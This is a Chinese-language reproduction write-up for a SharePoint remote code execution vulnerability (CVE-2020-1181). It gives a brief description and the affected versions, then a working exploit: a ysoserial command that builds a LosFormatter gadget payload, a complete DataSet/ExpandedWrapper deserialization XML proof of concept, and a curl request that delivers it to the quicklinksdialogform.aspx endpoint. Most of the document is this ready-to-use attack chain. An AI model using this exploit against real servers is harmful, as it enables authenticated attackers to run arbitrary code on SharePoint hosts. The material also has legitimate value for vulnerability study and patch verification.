（CVE-2020-1181）Microsoft SharePoint 远程代码执行漏洞

一、漏洞简介

SharePoint Portal Server 是一套门户网站解决方案，使得企业能够便捷地开发出智能的门户网站，能够无缝连接到用户、团队和知识。因此用户能够更好地利用业务流程中的相关信息，更有效地开展工作。

当Microsoft SharePoint Server无法正确识别和过滤不安全的ASP.Net Web控件时，将会存在一处远程代码执行漏洞。成功利用此漏洞的远程攻击者(需要身份验证)通过创建特制的页面，可以在SharePoint应用进程池的上下文中执行任意代码。

二、漏洞影响

Microsoft SharePoint Enterprise Server 2016Microsoft SharePoint Foundation 2010 Service Pack 2Microsoft SharePoint Foundation 2013 Service Pack 1Microsoft SharePoint Server 2019

三、复现过程

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c cale.exe

替换掉poc.xml内的payload

Poc.xml

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">这里放payload</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
        </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>

通过 curl -L -v --ntlm --negotiate "https://www.0-sec.org/_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion" --data "viewstate=&__SUGGESTIONSCHACHE=urlencode(poc.xml)”

触发漏洞，执行命令